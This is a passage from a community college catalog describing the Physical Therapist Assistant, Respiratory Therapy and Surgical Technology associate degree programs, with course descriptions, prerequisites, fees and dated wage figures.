and supervision of a physical therapist, PTAs work to restore function, reduce pain and enhance wellness in patients with a variety of conditions. Physical Therapists Assistants provide selected interventions for patients with orthopedic, neurological, athletic, occupational and congenital conditions. Hands on application of Physical Therapy interventions are only one aspect of this rewarding career. You will be called on to instruct and motivate patients and their families through the use of compassion and skilled communication. You will become a problem solver, critical thinker and productive member of a rehabilitation team. Students seeking admission to the Physical Therapist Assistant Program should enjoy close contact with all types of people and be comfortable with working in and around medical facilities. A significant amount of personal mobility is required for employment as a Physical Therapist Assistant. For additional career information see [APTA.org](http://www.apta.org). Physical Therapist Assistant students study in traditional classroom and laboratory settings. Our on-site PT lab is designed to provide students with a realistic opportunity to experience and perfect a broad range of hands on skills including the use of therapeutic modalities and specialized exercise programming. Students also participate in an extensive clinical education program. The Physical Therapist Assistant Program at Macomb Community College is a two-year competency based program awarding the Associate of Applied Science Degree. The program is accredited by the Commission on Accreditation of Physical Therapy Education. **PTAS-1020 - Physical Therapy Procedures 1 - Lecture** *2.00 credits* *Prerequisite:* Admission into the Physical Therapist Assistant program and BIOL-2710. *Corequisite:* HHSC-1020, PTAS-1030 (formerly PTA 102) The basic fundamentals of patient care as applied to physical therapy are the focus of this course, which covers the principles of patient management and the formation of a strong foundation for clinical decision making skills based on physiological principles. These principles and skills are related to the use of selected modalities, gait training, transfers, and body mechanics. (2 contact hrs) Center Campus. Fall Semester only. **PTAS-1030 - Physical Therapy Procedures 1 - Laboratory** *3.00 credits* *Course Fee:* $78.00 *Prerequisite:* Admission into the Physical Therapist Assistant program, BIOL-2710, and HHSC-1020. *Corequisite:* PTAS-1070, HHSC-1020 (formerly PTA 103) This course provides the PTA student with practical experiences in the fundamentals of patient care and selected modalities. The focus is on the development of psychomotor and decision making skills associated with the application of basic physical therapy skills and techniques. (6 contact hrs) Center Campus. Fall semester only. **PTAS-1070 - Joint Structure & Function - Lecture** *2.00 credits* Prerequisite: Admission into the Physical Therapist Assistant program, BIOL-2710, and HHSC-1020. Corequisite: PTAS-1080, HHSC-1020 (formerly PTA 107) This course provides the academic framework for the understanding of functional anatomy as related to PTA techniques and skills. Subjects include a study of the major muscle groups, innervations, skeletal anatomy, joint structure, and the relationship of these structures to exercise and functional activity. In addition, the course presents measurement techniques of goniometry and anthropometrics. (2 contact hrs) Center Campus. Fall semester only. PTAS-1080 - Joint Structure & Function - Laboratory 1.00 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program and BIOL-2710. Corequisite: PTAS-1090, HHSC-1020 (formerly PTA 108) The purpose of the course is to correlate basic knowledge in functional anatomy with development of PTA techniques and skills. This course offers practical laboratory experience in functional anatomy as related to these techniques and skills in goniometric and anthropometric measurements. (2 contact hrs) Center Campus. Fall semester only. PTAS-1090 - Medical Issues for the Physical Therapist Assistant 1.50 credits Prerequisite: Admission into the Physical Therapist Assistant program and BIOL-2710. Corequisite: PTAS-1020, HHSC-1020 (formerly PTA 109) This course introduces selected medical issues to the physical therapist assistant student. Topics include a discussion of etiology and clinical course medical management of pathologies commonly treated by physical therapy. (3 contact hrs per week for 8 weeks) Center Campus. Fall semester only. PTAS-1140 - Life Span Development for PTA 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and HHSC-1020, PTAS-1020, PTAS-1030, PTAS-1070, PTAS-1080, and PTAS-1090. Corequisite: PTAS-1150 (formerly PTA 114) This course provides basic knowledge of normal human development of movement and function from birth to death. Included are the physical, social, emotional and cognitive changes that occur with normal maturation throughout the life span. Also presented is an orientation to techniques of positive interaction skills for the physical therapist assistant student. Observational experiences in selected settings are provided. (2 contact hrs) Winter semester only. PTAS-1150 - Kinesiology - Lecture 3.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and HHSC-1020, PTAS-1020, PTAS-1030, PTAS-1070, PTAS-1080, and PTAS-1090. Corequisite: PTAS-1160 (formerly PTA 115) This course provides the study of functional human musculoskeletal movement and its interrelationship to the neuromuscular system as a foundation to the basic understanding of normal and abnormal movements. Analysis of basic principles and biomechanics in functional activity is included. (3 contact hrs) Center Campus. Winter semester PTAS-1160 - Kinesiology - Laboratory 1.50 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program, and HHSC-1020, PTAS-1020, PTAS-1030, PTAS-1070, PTAS-1080, and PTAS-1090. Corequisite: PTAS-1170 (formerly PTA 116) Correlated laboratory practice in kinesiology, basic biomechanics and gait for the development of related physical therapist assistant techniques and skills. Functional movement analysis and the development of function specific activity are included. (3 contact hrs) Center Campus. Winter semester only. PTAS-1170 - Physical Therapy Procedures 2 - Lecture 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and HHSC-1020, PTAS-1020, PTAS-1030, PTAS-1070, PTAS-1080, and PTAS-1090. Corequisite: PTAS-1180 (formerly PTA 117) This course presents the kinesthetic and mechanical principles of therapeutic exercise. Also included is the use of mechanical traction. Emphasis will be on advancing patient management skills including communication and documentation using various practical conditions as models for patient management. (2 contact hrs) Center Campus. Winter semester only. PTAS-1180 - Physical Therapy Procedures 2 - Laboratory 2.00 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program, and HHSC-1020, PTAS-1020, PTAS-1030, PTAS-1070, PTAS-1080, PTAS-1090. Corequisite: PTAS-1140 (formerly PTA 118) Correlated practical experiences that will provide an opportunity for the student to acquire manual skills that utilize and relate to the theories and principles of basic exercise, functional activities, and the use of appropriate equipment in a therapeutic exercise program. The practical application of mechanical cervical and lumbar traction will be included. (4 contact hrs) Center Campus. Winter semester only. PTAS-2110 - Neuromuscular Physical Therapy - Lecture 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTAS-1150, PTAS-1160, PTAS-1170, and PTAS-1180. Corequisite: PTAS-2120 (formerly PTA 211) This course is designed to provide a theoretical basis for the utilization of various neuromuscular approaches to therapeutic exercise. Discussion includes advanced management techniques for the neurologically impaired patient. (2 contact hrs) Fall semester only. PTAS-2120 - Neuromuscular Physical Therapy - Laboratory 1.50 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTASPTAS-2130 - Musculoskeletal Physical Therapy - Lecture 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTAS-1150, PTAS-1160, PTAS-1170, and PTAS-1180. Corequisite: PTAS-2140 (formerly PTA 213) This course is designed to provide the theoretical foundation for the advanced management of musculoskeletal conditions. Discussion includes injury prevention and specialized approaches to physical therapy treatment of the spine and extremities. (2 contact hrs) Fall semester only. PTAS-2140 - Musculoskeletal Physical Therapy - Laboratory 1.50 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTAS-1150, PTAS-1160, PTAS-1170, and PTAS-1180. Corequisite: PTAS-2190 (formerly PTA 214) Correlated laboratory practice designed to provide experience in the physical therapy management of musculoskeletal conditions. The focus will be on advanced therapeutic exercise and specialized techniques for musculoskeletal conditions. (3 contact hrs) Fall semester only. PTAS-2190 - Physical Therapy Procedures 3 - Lecture 1.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTAS-1150, PTAS-1160, PTAS-1170, and PTAS-1180. Corequisite: PTAS-2200 (formerly PTA 219) This course provides the opportunity for the physical therapist assistant student to develop knowledge related to the principles of electricity and electrotherapy for selected treatment modalities. Discussion of EMG and biofeedback is included. (2 contact hrs per week for 8 wks) Center Campus. Fall semester only. PTAS-2200 - Physical Therapy Procedures 3 - Laboratory 1.00 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTAS-1150, PTAS-1160, PTAS-1170, and PTAS-1180. Corequisite: PTAS-2340 (formerly PTA 220) This course will provide the physical therapist assistant student with the opportunity to apply the principles of electrotherapy to practical management in physical therapy. Procedures for advanced modality treatment for selected pathologies will be included. (3 contact hrs per week for 8 wks) Center Campus. Fall semester only. PTAS-2340 - Clinical Internship 1 PTAS-2340 - Clinical Internship 1 2.00 credits Course Fee: $52.00 Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-1140, PTAS-1150, PTAS-1160, PTAS-1170, and PTAS-1180. Corequisite: PTAS-2110 (formerly PTA 234) Supervised clinical experience designed to provide the beginning level student with an opportunity to gain experience in various basic therapeutic practical skills and techniques. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (24 contact hrs, first 8 weeks) Center Campus. Fall semester only. PTAS-2350 - Clinical Internship 2 2.00 credits Course Fee: $52.00 Prerequisite: Admission into the Physical Therapist Assistant program and PTAS-2340. Corequisite: PTAS-2110 (formerly PTA 235) Supervised clinical experience designed to provide the beginning level student with an opportunity for continued practice of various basic therapeutic techniques and skills. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (24 contact hrs per week for 8 wks) Center Campus. Fall semester only. PTAS-2390 - Clinical Internship 3 4.00 credits Course Fee: $52.00 Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-2440, PTAS-2450, PTAS-2460, PTAS-2470, and PTAS-2500. (formerly PTA 239) Supervised clinical experience designed to provide the advanced student with an opportunity for continued practice of basic therapeutic techniques and practice of various complex therapeutic techniques, exercises, and procedures for competent clinical application. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (40 contact hrs per week for 8 wks) Center Campus. Winter semester only. PTAS-2440 - Rehabilitation Techniques - Lecture 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-2110, PTAS-2120, PTAS-2130, PTAS-2140, PTAS-2190, PTAS-2200, and PTAS-2350. Corequisite: PTAS-2450 (formerly PTA 244) This course is designed to provide the theoretical foundation to the treatment of adult patients with physical disabilities. Advanced treatment techniques for the management of patients with amputations, gait abnormalities, spinal cord injuries, burns and cancer are included. (4 contact hrs per week for 8 wks) Center Campus. Winter semester only. PTAS-2450 - Rehabilitation Techniques - Laboratory 1.50 credits Course Fee: $40.00 Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-2110, PTAS-2120, PTAS-2130, PTAS-2140, PTAS-2190, PTAS-2200, and PTAS-2350. Corequisite: PTAS-2460 PTAS-2450 - Clinical Experience I 2.00 credits (Formerly PTA 245) This course is designed to correlate the principles of rehabilitation procedures in the clinical setting with the lecture topics in PTAS-2440. Emphasis will be placed on practical experiences with site visits scheduled to augment didactic components of learning. (6 contact hrs per week for 8 wks) Center Campus. Winter semester only. PTAS-2460 - Pediatrics 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-2110, PTAS-2120, PTAS-2130, PTAS-2140, PTAS-2190, PTAS-2200, and PTAS-2350. Corequisite: PTAS-2470 (Formerly PTA 246) This course is designed to provide the student with an opportunity to gain knowledge of clinical pediatric problems and management of the pediatric patient. Selected neuromuscular, orthopedic and systemic pediatric conditions are present. Application of neurophysiological and orthopedic approaches to therapeutic exercise are introduced. (4 contact hrs per week for 8 wks) Center Campus. Winter semester only. PTAS-2470 - Cardiopulmonary Rehabilitation 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-2110, PTAS-2120, PTAS-2130, PTAS-2140, PTAS-2190, PTAS-2200, and PTAS-2350. Corequisite: PTAS-2500 (Formerly PTA 247) This course provides an overview of the physical therapy management of cardiopulmonary conditions. Also included is the role of physical therapy in fitness and wellness programming. (4 contact hrs per week for 8 wks) Center Campus. Winter semester only. PTAS-2500 - Seminar for Physical Therapist Assistants 2.00 credits Prerequisite: Admission into the Physical Therapist Assistant program, and PTAS-2110, PTAS-2120, PTAS-2130, PTAS-2140, PTAS-2190, PTAS-2200, and PTAS-2350. Corequisite: PTAS-2440 (Formerly PTA 250) This course is designed to integrate and correlate the principles and concepts of academic learning with the clinical experience. The course provides a forum for discussion of transitional school to work issues for the advanced PTA student. (4 contact hrs per week for 8 wks) Center Campus. Winter semester only. JUMP START YOUR CAREER IN RESPIRATORY THERAPY As a Respiratory Care Practitioner (RCP), you will develop the patient assessment skills needed to monitor, evaluate and treat patients with pulmonary disease. As a consultant, you will be able to recommend therapy, and make changes to the treatment plan, as indicated by the physical examination and the laboratory data. The routine duties of a RCP include oxygen administration and monitoring, drawing arterial blood gas samples, delivery of aerosol medication, pulmonary hygiene and lung volume expansion. In the emergency and critical care areas, therapists are trained in cardiopulmonary resuscitation and are valued members of the hospital resuscitation team. You will also be responsible for setting-up, monitoring and evaluating life support machines in the neonatal and adult intensive care units. Using the aid of sophisticated technology and equipment, you will give around-the-clock care to these patients who, otherwise, would not survive these life threatening conditions. RCP's also work in pulmonary laboratories where they help evaluate various cardiopulmonary diseases. By performing diagnostic procedures, such as measurement of lung volumes, they assist the physician in determining the type and extent of the patient's disease and how well the prescribed therapy may be working. In pulmonary rehabilitation, RCP's work with patients who have chronic lung disease. The goal of therapy is to improve the patient's quality of life through education, nutrition, muscle reconditioning and exercise. RCP's are also involved in preventive medicine and patient education through their involvement in support groups. The RCP often conducts smoking cessation programs for both hospital patients and others in the community who want to kick the tobacco habit. They also participate in support groups for asthmatic patients and patients awaiting lung transplantation. Therapists are also actively involved in the Breather's Club which is a support group for patients with chronic lung disease, such as emphysema and chronic bronchitis. **Why Choose Macomb Community College?** Macomb's Respiratory Therapy Program is a two-year program which leads to an Associate of Applied Science Degree. - Includes a comprehensive curriculum of technical and general education. - "Full Accreditation Status" by the Committee on Accreditation for Respiratory Care (CoArc) which is sponsored by the American Assn. for Respiratory Care, The American College of Chest Physicians, The American Society for Anesthesiologists and The American Thoracic Society. - The Respiratory Therapy Program is a [selective admissions](#) program. The application deadline is February 15 if you wish to begin classes in the fall semester. After February 15, students can [contact](#) RSP faculty to inquire about openings in the program. Anatomy and physiology is a prerequisite for the program and some basic algebra skills are recommended. - Hands-on study in the second year will give you 900 hours in clinical training at area hospitals and home-health care agencies. The program begins once each year in the Fall semester. The first year will be spent in the modern lecture and lab facilities at MCC where you will be exposed to the newest technology and equipment - Upon program completion, you will be eligible to take national certification and registry exams, increasing your marketability. **RSPT-1050 - Clinical Cardiorespiratory Physiologic Anatomy** *4.00 credits* *Prerequisite:* Admission into the Respiratory Therapy program and BIOL-2710. *Corequisite:* RSPT-1060 (formerly RSP 105) This course is designed to teach the student anatomy and physiology of the respiratory and cardiac systems with a focus on clinical application. Topics covered include anatomy and physiology, ventilation, pulmonary function measurements, gas diffusion, oxygen and carbon dioxide equilibration and transport, acid-base regulation and ventilation/perfusion relationships. (4 contact hrs) Center Campus. Fall semester only. **RSPT-1060 - Physiochemical Basis of Respiratory Therapy** *3.00 credits* *Prerequisite:* Admission into the Respiratory Therapy program and BIOL-2710. *Corequisite:* RSPT-1080 (formerly RSP 106) This course is designed to teach the student basic mathematics, physics and chemistry as it applies to respiratory therapy. Topics covered include measurement systems, mechanics, energy and matter, properties of fluids, gas laws, gas movement, solutions and drug calculations, elements and compounds, acid-base and fluid balance, and nutrition and metabolism. (3 contact hrs) Center Campus. Fall semester only. **RSPT-1080 - Respiratory Therapy Procedures 1 - Lecture** *2.00 credits* *Prerequisite:* Admission into the Respiratory Therapy program and BIOL-2710. *Corequisite:* RSPT-1090 This course is an introduction to the patient care process. Topics discussed will include patient assessment, cardiopulmonary diagnostics and monitoring techniques, infection control and safety, protocols and documentation used in the practice of respiratory therapy. (2 contact hrs) Center Campus. Fall semester only. **RSPT-1090 - Respiratory Therapy Procedures 1 - Laboratory** *2.00 credits* *Course Fee:* $30.00 *Prerequisite:* Admission into the Respiratory Therapy program and BIOL-2710. *Corequisite:* RSPT-1050 The student will develop psychomotor skills in respiratory therapy procedures. Topics covered include patient assessment, diagnostic testing and monitoring, infection control, and documentation. (3 contact hrs) Center Campus. Fall Semester only. **RSPT-1110 - Respiratory Therapy Procedures 2 - Lecture** *2.00 credits* *Prerequisite:* Admission into the Respiratory Therapy program, and RSPT-1050, RSPT-1060, RSPT-1080, and RSPT-1090. *Corequisite:* RSPT-1120 (formerly RSP 111) This course is an orientation to the procedures, techniques, and equipment used in the practice of respiratory therapy. Topics covered include: use of protocols, oxygen therapy, airway dilation therapy, volume expansion therapy, pulmonary hygiene therapy, airway management, resuscitation and documentation. (2 contact hrs) Center Campus. Winter semester only. **RSPT-1120 - Respiratory Therapy Procedures 2 - Laboratory** *4.00 credits* *Course Fee:* $104.00 *Prerequisite:* Admission into the Respiratory Therapy program, and RSPT-1050, RSPT-1060, RSPT-1080, and RSPT-1090. Corequisite: RSPT-1140 (formerly RSP 112) The student will develop psychomotor skills in respiratory therapy procedures. Topics covered include use of protocols, oxygen therapy, airway dilation therapy, pulmonary hygiene therapy, volume expansion therapy, airway management, resuscitation, and documentation. (6 contact hrs) Center Campus. Winter semester only. RSPT-1140 - Cardiopulmonary Pathology 3.00 credits Prerequisite: Admission into the Respiratory Therapy program, and RSPT-1050, RSPT-1060, RSPT-1080, and RSPT-1090. Corequisite: RSPT-1200 (formerly RSP 114) This course is a detailed study of disease affecting the cardiovascular and pulmonary systems. The student will study the assessment process and the role of the Respiratory Care Practitioner in developing and implementing therapist-driven protocols. The anatomic alterations, etiology, clinical manifestations, and patient care plan will be reviewed for each disease process. (3 contact hrs) Center Campus. Winter semester only. RSPT-1200 - Cardiopulmonary Pharmacology 1.50 credits Prerequisite: Admission into the Respiratory Therapy program, and RSPT-1050, RSPT-1060, RSPT-1080, and RSPT-1090. Corequisite: RSPT-1110 (formerly RSP 120) This course is designed to teach aerosol delivery of respiratory medications that are specifically delivered by respiratory care practitioners. An in-depth study of the autonomic nervous system will be covered to explain mechanism of drug actions. The student will learn indications, modes of delivery, dosages, and adverse reactions of respiratory medications. The student also will be introduced to critical care pharmacology. (3 contact hrs per week for the first 8 wks) Center Campus. Winter semester only. RSPT-1210 - Pediatric/Neonatal Respiratory Care 1.50 credits Prerequisite: Admission into the Respiratory Therapy program and RSPT-1200. Corequisite: RSPT-1140 (formerly RSP 121) This course will introduce the student to neonatal and pediatric respiratory care. The course covers fetal lung development, anatomy and physiology, neonatal development, pathology, CPR, acid-base monitoring, and introduction to mechanical ventilation of the newborn. (3 contact hrs per week for the second 8 wks) Center Campus. Winter Semester only. RSPT-1260 - Clinical Internship 1 4.00 credits Course Fee: $40.00 Prerequisite: Admission into the Respiratory Therapy program, and RSPT-1110, RSPT-1120, RSPT-1140, RSPT-1200, and RSPT-1210. (formerly RSP 126) This course introduces the student to clinical practice by providing 32 hours/week of clinical training in a hospital setting. Students perform basic respiratory therapy procedures learned in the procedures laboratory (RSPT-1120). The laboratory portion of the course includes an eight-hour/week workshop held at the college. The lab is designed to introduce the student to the concepts and psychomotor skills necessary to care for patients on mechanical ventilators. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (40 contact hrs per week for 8 weeks) Center Campus. Spring/Summer semester only. **RSPT-2250 - Clinical Internship 2** *2.00 credits* **Course Fee:** $40.00 *Prerequisite:* Admission into the Respiratory Therapy program and RSPT-1260. *Corequisite:* RSPT-2330 (formerly RSP 225) This course provides clinical experience for the respiratory therapy student. The student must complete 160 hours of clinical training. Objectives focus on pulmonary function testing, critical care pharmacology, arterial blood gases, and an introduction to mechanical ventilation. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (20 contact hrs per week for the first 8 wks) Center Campus. Fall semester only. **RSPT-2260 - Clinical Internship 3** *2.00 credits* **Course Fee:** $40.00 *Prerequisite:* Admission into the Respiratory Therapy program and RSPT-2250. *Corequisite:* RSPT-2330 (formerly RSP 226) This course provides additional clinical experience for the respiratory therapy student. The student must complete 160 hours of clinical training in an affiliated hospital. Objectives focus on pulmonary function testing, critical care pharmacology, arterial blood gases, and mechanical ventilation. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (20 contact hrs per week for the second 8 wks) Center Campus. Fall semester only. **RSPT-2330 - Mechanical Ventilation - Lecture** *2.00 credits* *Prerequisite:* Admission into the Respiratory Therapy program and RSPT-1260. *Corequisite:* RSPT-2340 (formerly RSP 233) Course content reviews cardiopulmonary physiology and the effects of mechanical ventilation on the infant, pediatric, and adult patient. Topics covered include the different types of mechanical ventilators and their features, indications, initiation, assessment, maintenance, monitoring, adjustments, complications, protocols, discontinuation, and documentation. (2 contact hrs) Center Campus. Fall semester only. **RSPT-2340 - Mechanical Ventilation - Lab** *1.00 credits* **Course Fee:** $104.00 *Prerequisite:* Admission into the Respiratory Therapy program and RSPT-1260. *Corequisite:* RSPT-2350 (formerly RSP 234) Attention is focused on developing cognitive and psychomotor skills necessary for initiating, assessing, maintaining, monitoring, adjusting, applying protocols, discontinuing and documenting mechanical ventilation on the infant, pediatric, and adult patients. The course will evaluate the capabilities and limitations of the most commonly used mechanical ventilators. (2 contact hrs) Center Campus. Fall semester only. **RSPT-2350 - Acid-Base & Electrolyte Balance & Advanced Diagnostics** 3.00 credits Course Fee: $10.00 Prerequisite: Admission into the Respiratory Therapy program and RSPT-1260. Corequisite: RSPT-2250 (formerly RSP 235) This theory course is designed to teach the student how to draw, analyze, interpret, and evaluate arterial/venous blood gas and electrolyte data, and make appropriate recommendations for treatment. Students also will learn how to use data obtained from non-invasive monitoring to aid in the diagnosis and treatment of pulmonary disease. (3 contact hrs) Center Campus. Fall semester only. RSPT-2360 - Clinical Internship 4 2.00 credits Course Fee: $40.00 Prerequisite: Admission into the Respiratory Therapy program, and RSPT-2260, RSPT-2330, RSPT-2340, and RSPT-2350. Corequisite: RSPT-2420, RSPT-2430 (formerly RSP 236) This course provides additional clinical experience for the respiratory therapy student. The student must complete 160 hours of clinical training in an affiliated hospital. Objectives focus on acid-base balance, mechanical ventilation, pulmonary function testing, electrocardiography, and hemodynamic monitoring. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (20 contact hrs per week for the first 8 wks) Center Campus. Winter Semester only. RSPT-2370 - Clinical Internship 5 2.00 credits Course Fee: $40.00 Prerequisite: Admission into the Respiratory Therapy program and RSPT-2360. Corequisite: RSPT-2420, RSPT-2430 (formerly RSP 237) This course provides additional clinical experience for the respiratory therapy student. The student must complete 160 hours of clinical training in an area hospital. Objectives focus on pulmonary function testing, acid-base balance, mechanical ventilation, electrocardiology, and hemodynamic monitoring. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (20 contact hrs per week for the second 8 wks) Center Campus. Winter semester only. RSPT-2420 - Advanced Concepts in Respiratory Care 3.00 credits Course Fee: $30.00 Prerequisite: Admission into the Respiratory Therapy program, and RSPT-2260, RSPT-2330, RSPT-2340, and RSPT-2350. Corequisite: RSPT-2360, RSPT-2370, RSPT-2430 (formerly RSP 242) A forum for discussion of new and advanced applications in clinical practice. Topics covered include pulmonary function testing, EKGs, myocardial infarction, chest tube drainage systems, and hemodynamic monitoring. Each student will give an oral presentation on a topic of interest in Respiratory Care. (3 contact hrs) Center Campus. Winter semester only. RSPT-2430 - Certification & Registry Review 2.00 credits Course Fee: $30.00 Prerequisite: Admission into the Respiratory Therapy program, and RSPT-2260, RSPT-2330, RSPT-2340, and RSPT-2350. Corequisite: RSPT-2360, RSPT-2370, RSPT-2420 (formerly RSP 243) This course is a comprehensive review to prepare students for the NBRC Certification and Registry Examinations. Students will become familiar with clinical simulation testing through use of computer simulations and latent imaging. NBRC Self-Assessment Examinations will be administered during this course. A program exit exam will be given at the end of the semester. (2 contact hrs) Center Campus. Winter semester only. JUMP START YOUR CAREER IN SURGICAL TECHNOLOGY Macomb's Surgical Technology program can provide you with the skills, knowledge, and education for a career as a: - Central Processing Distribution Technician - Surgical Technologist If you're planning to pursue advanced education in Surgical Technology, you may be able to transfer the credits earned at Macomb to a four-year college or university. Macomb Community College Surgical Technology program has been approved to transfer the Applied Science Degree in Surgical Technology to Central Michigan University (located at the University Center on campus) to earn a BA degree from Central Michigan University. Students planning to transfer credits earned at Macomb or other college's are strongly urged to see a member of Macomb's Counseling Department as early as possible in their college careers. Why Choose Macomb Community College? Macomb's Surgical Technology Program is a two-year program which leads to an Associate of Applied Science Degree. Surgical technologists are in high demand and job opportunities in the field are expected to grow faster than average for all occupations through the year 2012. In response to the need for and interest in this exciting field, Macomb's Health and Human Services Division introduced a Surgical Technology Program in the Fall 2000 Semester. Surgical technologists are certified health care professionals who work on surgical teams under the direction of surgeons. Options in Macomb's new program are a Central Service Technician Certificate or an Associate of Applied Science Degree in Surgical Technology. While providing students with the skills necessary for immediate employment, the Surgical Technology Program also prepares students for further study if they choose to pursue a Bachelor of Science Degree in Allied Health or related field. For more information on the Surgical Technology Program, contact Health and Human Services. **Job Outlooks and Earnings** Area hospitals are eagerly waiting to hire graduates from Macomb Community College. There are many openings for qualified candidates in Sterile Processing Departments and Departments of Surgery. Upon successful completion of the first semester the student will receive a certificate of completion for Central Service Technician. This will provide the student opportunities for employment in the sterile processing department of the hospital. Average starting wage for Central Service Technician - $10.00 - $13.00 per hour. Upon successful completion of the Surgical Technology Program the graduate will receive a Certificate of Completion as a Surgical Technologist or an Associate of Applied Science Degree in Surgical Technology. Average starting wage for Surgical Technologist - $15.00 - $18.00 per hour. **SURG-1000 - Orientation to Surgical Technology** 4.00 credits *Prerequisite:* ENGL-1180 or ENGL-1210, BIOL-2710 or BIOL-2310, BIOL-2400 or BIOL-2730, MAST-1700, and PHED-2070. *Corequisite:* SURG-1010 (formerly SRG 100) An introduction to the allied health profession of surgical technology. This course examines the history of surgical technologists, physical and mental requirements, job description, and possible career opportunities. This course will introduce students to the professional association of surgical technologists and the liaison council for certification for surgical technologists. The role and responsibilities of the circulating and scrub technologists as well as other surgical team members are explored. Types of hospitals and departmental organization are discussed. Also included are strategies for success, managing pressure, time management, and achieving excellence. Legal and ethical issues will be examined; special needs of the patient are identified, including general safety and care. (4 contact hrs) Center Campus. **SURG-1010 - Introduction to Central Service Technician** 3.00 credits *Prerequisite:* ENGL-1180 or ENGL-1210, BIOL-2710 or BIOL-2310, BIOL-2400 or BIOL-2730, PHED-2070, and MAST-1700. *Corequisite:* SURG-1020 (formerly SRG 101) This course provides the fundamentals of central processing, supply, processing, and distribution (CSD). This course is designed to give instruction and practice in aseptic technique, patient centered concept theories, and practices of central service departments. Students who complete this program are eligible to sit for the American Society for Healthcare Central Service Personnel (ASHCSP) National Certifying Examination. (3 contact hrs) Center Campus. **SURG-1020 - Central Service Technician Clinical** 4.00 credits Course Fee: $155.00 Prerequisite: ENGL-1180 or ENGL-1210, BIOL-2710 or BIOL-2310, BIOL-2400 or BIOL-2730, PHED-2070, and MAST-1700. Corequisite: SURG-1000 (formerly SRG 102) In the clinical setting, students will be exposed to all areas of the Central Service Department, and will actively participate as a member of the Central Service Department. The student will develop skills and become proficient in the functions performed which will include the following: cleaning, decontaminating, processing (inspecting, assembling, and packaging), sterilizing of reusable patient care supplies and equipment, and distributing these supplies and equipment to the units that use them. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (16 contact hrs) Center Campus. SURG-1050 - Introduction to Surgical Technology 2.00 credits Prerequisite: BIOL-2400 or BIOL-2730, and HHSC-1700. Corequisite: SURG-1060, SURG-1070 An introduction to the allied health profession of surgical technology. This course examines the history of surgical technologists, physical and mental requirements, job description, and possible career opportunities. This course will introduce students to the professional association of surgical technologists and the liaison council for scrub technologists as well as other surgical team members are explored. Types of hospitals and departmental organization are discussed. Also included are strategies for success, managing pressure, time management, and achieving excellence. Legal and ethical issues will be examined; special needs of the patient are identified, including general safety and care. (2 contact hrs) Center Campus. SURG-1051 - Introduction to Surgical Patient Care Techniques 2.00 credits Prerequisite: Admission into the Surgical Technology program, and ENGL-1180 or ENGL-1210, BIOL-2710, BIOL-2400, HHSC-1700, PHED-2070, SURG-1050, SURG-1060, and SURG-1070. Corequisite: SURG-1200, SURG-1250, SURG-1260 This course introduces the student to the environment of the operating room with an emphasis on patient safety and on the standards of care required for the surgical patient. The course instruction includes pre-surgical testing, diagnostic and laboratory studies performed to determine patient diagnosis, positioning of the surgical patient, routine skin preparation, types of surgical incisions that provide optimum exposure for surgical procedures, types of wound closure techniques, types of sutures, needles, and stapling devices, and factors influencing wound healing. (2 contact hrs) Center Campus. SURG-1060 - Orientation to Central Processing Distribution Technician 4.00 credits Prerequisite: None Corequisite: SURG-1070, SURG-1050 This course teaches the fundamentals of central processing, supply, and distribution (CSD) and gives instruction and practice in aseptic technique, patient centered concept theories, and practices of central service departments. (4 contact hrs) Center Campus. SURG-1070 - Central Processing Distribution Technician Clinical 8.00 credits Course Fee: $104.00 Prerequisite: BIOL-2400 or BIOL-2730, and HHSC-1700. Corequisite: SURG-1050, SURG-1060 In the clinical setting, students will be exposed to all areas of the central service department and will actively participate as a member of the central service department. The student will practice skills in cleaning, decontaminating, processing (inspecting, assembling, and packaging), sterilizing, and distributing reusable patient care supplies and equipment to the units that use them. In the first two weeks of class, student will have twenty-four hours of clinical lab time in the Surgical Technology laboratory. In the final fourteen weeks of clinical, students will be assigned to three eight-hour days of practice each week in a CSD facility. Students must provide their own transportation. This course is graded on a pass/fail basis. Pass/fail grades are not included in GPA calculations. Students are required to pass this course in order to progress in the program. (24 contact hrs) Center Campus. SURG-1200 - Surgical Clinical 1 8.00 credits Course Fee: $104.00 Prerequisite: Admission to the Surgical Technology program, ENGL-1180 or ENGL-1210, BIOL-2710, BIOL-2400 or BIOL-2730, HHSC-1700, PHED-2070, SURG-1050, SURG-1060, and SURG-1070. Corequisite: SURG-1051, SURG-1250, SURG-1260 (formerly SRG 120) In this supervised clinical course the student demonstrates scrubbing, gowning, gloving, and aseptic technique in the laboratory setting. Upon attaining pre-clinical competencies, the student is assigned in the hospital setting three days a week to acquire objectives. Students perform in the role 